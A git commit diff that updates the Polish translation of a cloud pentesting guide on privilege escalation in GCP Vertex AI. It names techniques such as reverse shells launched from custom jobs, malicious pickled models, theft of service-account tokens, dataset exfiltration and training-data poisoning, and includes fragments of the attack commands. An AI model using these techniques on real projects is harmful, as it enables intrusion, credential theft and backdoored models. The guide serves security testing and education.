Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2025-11-24 10:25:05 +00:00
parent 630b2d1be4
commit d00ccec2fd
@@ -4,7 +4,7 @@
## Vertex AI
Aby uzyskać więcej informacji o Vertex AI, sprawdź:
Więcej informacji o Vertex AI znajdziesz:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
@@ -12,15 +12,15 @@ Aby uzyskać więcej informacji o Vertex AI, sprawdź:
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` do docelowego service account, atakujący może **uruchomić dowolny kod z podwyższonymi uprawnieniami**.
Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` na docelowym koncie usługi, atakujący może **wykonać dowolny kod z podwyższonymi uprawnieniami**.
Mechanizm polega na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo w niestandardowym kontenerze, albo w pakiecie Python). Podając uprzywilejowany service account przez flagę `--service-account`, zadanie dziedziczy uprawnienia tego service account. Zadanie uruchamiane jest na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co pozwala na wydobycie OAuth access token przypisanego do service account.
Polega to na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo custom container, albo Python package). Wskazując uprzywilejowane konto usługi za pomocą flagi `--service-account`, job dziedziczy uprawnienia tego konta usługi. Job uruchamia się na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co umożliwia wydobycie tokenu dostępu OAuth konta usługi.
**Wpływ**: Pełna eskalacja uprawnień do uprawnień docelowego service account.
**Wpływ**: Pełna eskalacja uprawnień do poziomu uprawnień docelowego konta usługi.
<details>
<summary>Utwórz niestandardowe zadanie z reverse shell</summary>
<summary>Create custom job with reverse shell</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
```
</details>
> [!CAUTION]
> Niestandardowe zadanie będzie uruchamiane z uprawnieniami określonego konta usługi. Upewnij się, że masz uprawnienie `iam.serviceAccounts.actAs` na docelowym koncie usługi.
### `aiplatform.models.upload`, `aiplatform.models.get`
Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie batch prediction job.
Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie zadania batch prediction.
> [!NOTE]
> Aby przeprowadzić ten atak, potrzebne jest posiadanie world-readable GCS bucket lub utworzenie nowego w celu przesłania artefaktów modelu.
> Aby przeprowadzić ten atak potrzebny jest GCS bucket dostępny do odczytu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
<details>
<summary>Prześlij złośliwy pickled model zawierający reverse shell</summary>
<summary>Upload malicious pickled model with reverse shell</summary>
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
@@ -113,7 +111,7 @@ gcloud ai models upload \
<details>
<summary>Prześlij model z reverse shell w kontenerze</summary>
<summary>Prześlij model z container reverse shell</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell
@@ -145,12 +143,12 @@ gcloud ai models upload \
</details>
> [!DANGER]
> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub sam uruchomić model poprzez endpoint deployment lub batch prediction job.
> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub uruchomić model samodzielnie poprzez wdrożenie na endpoint lub zadanie wsadowej predykcji.
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) lub ( `aiplatform.endpoints.setIamPolicy` )
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointach lub modyfikowania polityk IAM endpointu, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli przez endpoint, wszystko, co musisz zrobić, to:
Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointy lub do modyfikowania zasad IAM endpointów, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli za pośrednictwem endpointu, wystarczy:
<details>
@@ -175,12 +173,10 @@ gcloud ai endpoints deploy-model <endpoint-id> \
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
Jeśli masz uprawnienia do utworzenia **batch prediction jobs** i uruchomienia go za pomocą service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z **custom prediction container** lub **malicious model** podczas procesu batch prediction.
**Note**: Batch prediction jobs można tworzyć tylko przez REST API lub Python SDK (brak wsparcia dla gcloud CLI).
Jeśli masz uprawnienia do tworzenia **batch prediction jobs** i uruchamiania ich przy użyciu service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z poziomu **custom prediction container** lub **malicious model** podczas procesu batch prediction.
> [!NOTE]
> Ten atak wymaga najpierw przesłania malicious model (zobacz sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
> Ten atak wymaga najpierw przesłania malicious model (zob. sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
<details>
@@ -240,10 +236,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
### `aiplatform.models.export`
Jeżeli posiadasz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, co potencjalnie umożliwia dostęp do wrażliwych danych treningowych lub plików modelu.
Jeśli masz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, potencjalnie uzyskując dostęp do wrażliwych danych treningowych lub plików modelu.
> [!NOTE]
> Aby przeprowadzić attack, wymagany jest GCS bucket dostępny do odczytu i zapisu dla wszystkich (world readable and writable) lub utworzenie nowego, aby przesłać artefakty modelu.
> Aby przeprowadzić ten atak, potrzebny jest GCS bucket dostępny do odczytu i zapisu dla wszystkich lub trzeba utworz nowy, aby przesłać artefakty modelu.
<details>
@@ -274,16 +270,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
Utwórz **ML pipeline jobs**, które wykonują wiele kroków z dowolnymi kontenerami i umożliwiają privilege escalation przez reverse shell access.
Utwórz **ML pipeline jobs**, które wykonują wiele etapów przy użyciu dowolnych kontenerów i umożliwiają privilege escalation poprzez reverse shell access.
Pipelines są szczególnie potężne do privilege escalation, ponieważ wspierają ataki wieloetapowe, gdzie każdy komponent może używać innych kontenerów i konfiguracji.
Pipelines są szczególnie skuteczne w privilege escalation, ponieważ obsługują multi-stage attacks, w których każdy komponent może używać różnych kontenerów i konfiguracji.
> [!NOTE]
> Potrzebujesz world writable GCS bucket, aby użyć go jako pipeline root.
<details>
<summary>Zainstaluj Vertex AI SDK</summary>
<summary>Install Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
@@ -386,15 +382,15 @@ print(f" {response.text}")
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
Utwórz **hyperparameter tuning jobs**, które wykonują dowolny kod z podwyższonymi uprawnieniami poprzez niestandardowe training containers.
Twórz **zadania strojenia hiperparametrów**, które uruchamiają dowolny kod z podwyższonymi uprawnieniami przy użyciu niestandardowych kontenerów treningowych.
Hyperparameter tuning jobs pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego containera zawierającego reverse shell lub polecenie exfiltration i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation.
Zadania strojenia hiperparametrów pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego kontenera zawierającego reverse shell lub exfiltration command i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation.
**Impact**: Pełne privilege escalation do uprawnień docelowego service account.
**Impact**: Pełna privilege escalation do uprawnień docelowego service account.
<details>
<summary>Utwórz hyperparameter tuning job with reverse shell</summary>
<summary>Utwórz zadanie strojenia hiperparametrów z reverse shellem</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
@@ -435,15 +431,15 @@ gcloud ai hp-tuning-jobs create \
### `aiplatform.datasets.export`
Eksportuj **zbiory danych** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje.
Eksportuj **datasets** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje.
**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
**Uwaga**: operacje na datasetach wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla datasets).
Zbiory danych często zawierają oryginalne dane treningowe, które mogą zawierać PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
Datasets często zawierają oryginalne dane treningowe, które mogą obejmować PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
<details>
<summary>Eksport zbioru danych w celu exfiltrate danych treningowych</summary>
<summary>Eksport datasetu w celu exfiltrate danych treningowych</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
@@ -492,25 +488,25 @@ cat exported-data/*/data-*.jsonl
### `aiplatform.datasets.import`
Importuj złośliwe lub poisoned dane do istniejących zbiorów danych, aby **manipulować szkoleniem modeli i wprowadzać backdoors**.
Importuj złośliwe lub zatrute dane do istniejących zbiorów danych, aby **manipulować treningiem modelu i wprowadzać backdoors**.
**Uwaga**: operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
Poprzez import starannie przygotowanych danych do zbioru danych używanego do szkolenia modeli ML, atakujący może:
- Wprowadzić backdoors do modeli (trigger-based misclassification)
- Poison training data, aby pogorsz wydajność modelu
- Wstrzyknąć dane, powodując leak informacji przez modele
Poprzez importowanie spreparowanych danych do zbioru danych używanego do trenowania modeli ML, atakujący może:
- Wprowadzić backdoors do modeli (błędna klasyfikacja wywoływana triggerem)
- Zatrucie danych treningowych w celu pogorszenia wydajności modelu
- Wstrzyknąć dane, aby modele zaczęły leakować informacje
- Manipulować zachowaniem modelu dla określonych wejść
Ten atak jest szczególnie skuteczny, gdy celem są zbiory danych wykorzystywane do:
- Klasyfikacja obrazów (wstrzyknięcie błędnie oznakowanych obrazów)
- Klasyfikacja tekstu (wstrzyknięcie tendencyjnego lub złośliwego tekstu)
- Wykrywanie obiektów (manipulacja prostokątami ograniczającymi)
- Systemy rekomendacyjne (wstrzyknięcie fałszywych preferencji)
Ten atak jest szczególnie skuteczny w przypadku celowania w zbiory danych ywane do:
- Klasyfikacja obrazów (wstrzyknięcie błędnie oznaczonych obrazów)
- Klasyfikacja tekstu (wstrzyknięcie stronniczego lub złośliwego tekstu)
- Wykrywanie obiektów (manipulowanie ramkami ograniczającymi)
- Systemy rekomendacji (wstrzyknięcie fałszywych preferencji)
<details>
<summary>Import poisoned data into dataset</summary>
<summary>Importuj zatrute dane do zbioru danych</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
@@ -567,11 +563,11 @@ curl -s -X GET \
```
</details>
**Scenariusze ataku:**
**Scenariusze ataków:**
<details>
<summary>Backdoor attack - Image classification</summary>
<summary>Backdoor attack - klasyfikacja obrazów</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
@@ -598,7 +594,7 @@ done > label_flip.jsonl
<details>
<summary>Data poisoning for model extraction</summary>
<summary>Data poisoning dla model extraction</summary>
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
@@ -625,34 +621,34 @@ EOF
</details>
> [!DANGER]
> Data poisoning attacks can have severe consequences:
> - **Systemy bezpieczeństwa**: Obejście rozpoznawania twarzy lub wykrywania anomalii
> - **Wykrywanie oszustw**: Naucz modele ignorować konkretne wzorce oszustw
> - **Moderacja treści**: Sprawić, że szkodliwe treści zostaną sklasyfikowane jako bezpieczne
> - **AI medyczne**: Błędna klasyfikacja krytycznych stanów zdrowotnych
> - **Systemy autonomiczne**: Manipulacja wykrywaniem obiektów przy decyzjach krytycznych dla bezpieczeństwa
>
> **Wpływ**:
> - Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach
> - Pogorszenie wydajności i dokładności modelu
> - Stronnicze modele, które dyskryminują określone dane wejściowe
> - Wycieki informacji przez zachowanie modelu
> - Długoterminowa persystencja (modele wytrenowane na zatrutych danych odziedziczą backdoor)
> Data poisoning attacks mogą mieć poważne konsekwencje:
> - **Security systems**: obejście rozpoznawania twarzy lub wykrywania anomalii
> - **Fraud detection**: wyszkolenie modeli do ignorowania określonych wzorców oszustw
> - **Content moderation**: spowodowanie sklasyfikowania szkodliwych treści jako bezpiecznych
> - **Medical AI**: błędna klasyfikacja krytycznych stanów zdrowotnych
> - **Autonomous systems**: manipulowanie wykrywaniem obiektów przy podejmowaniu decyzji kluczowych dla bezpieczeństwa
**Impact**:
- Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach
- Obniżona wydajność i dokładność modeli
- Stronnicze modele dyskryminujące określone dane wejściowe
- Ujawnianie informacji przez zachowanie modelu
- Długotrwała trwałość (modele wytrenowane na zatrutych danych odziedziczą backdoor)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API jest przestarzałe w związku z wycofywaniem Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooki za pomocą `aiplatform.customJobs.create` (już omówione powyżej).
> Vertex AI Workbench Executor pozwala planować uruchomienia notebooków wykonywane na infrastrukturze custom training Vertex AI z określonym kontem usługi. To w istocie wygodny wrapper wokół `customJobs.create`.
> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej, która jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor.
> **Przestarzałe API**: API `aiplatform.notebookExecutionJobs.create` jest przestarzałe w ramach deprecjacji Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooks przez `aiplatform.customJobs.create` (opisane powyżej).
> Vertex AI Workbench Executor pozwala na harmonogramowanie uruchomień notebooków, które wykonują się na infrastrukturze treningowej Vertex AI z określonym service account. To w zasadzie wygodny wrapper wokół `customJobs.create`.
> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor.
**Poniższa technika jest przedstawiona wyłącznie w celach historycznych i nie jest zalecana do stosowania w nowych ocenach.**
**Poniższa technika jest podana wyłącznie w kontekście historycznym i nie jest zalecana do stosowania w nowych testach.**
Utwórz **zadania wykonywania notebooków**, które uruchamiają notebooki Jupyter z dowolnym kodem.
Utwórz **notebook execution jobs**, które uruchamiają Jupyter notebooks z dowolnym kodem.
Zadania notebooków są idealne do interaktywnego wykonywania kodu przy użyciu konta usługi, ponieważ obsługują komórki kodu Python i polecenia powłoki.
Zadania notebooków są idealne do interaktywnego wykonywania kodu z użyciem service account, ponieważ obsługują komórki z kodem Python oraz polecenia powłoki.
<details>
@@ -683,7 +679,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
<details>
<summary>Uruchom notebook z użyciem docelowego konta usługi</summary>
<summary>Uruchom notebook z docelowym kontem usługi</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"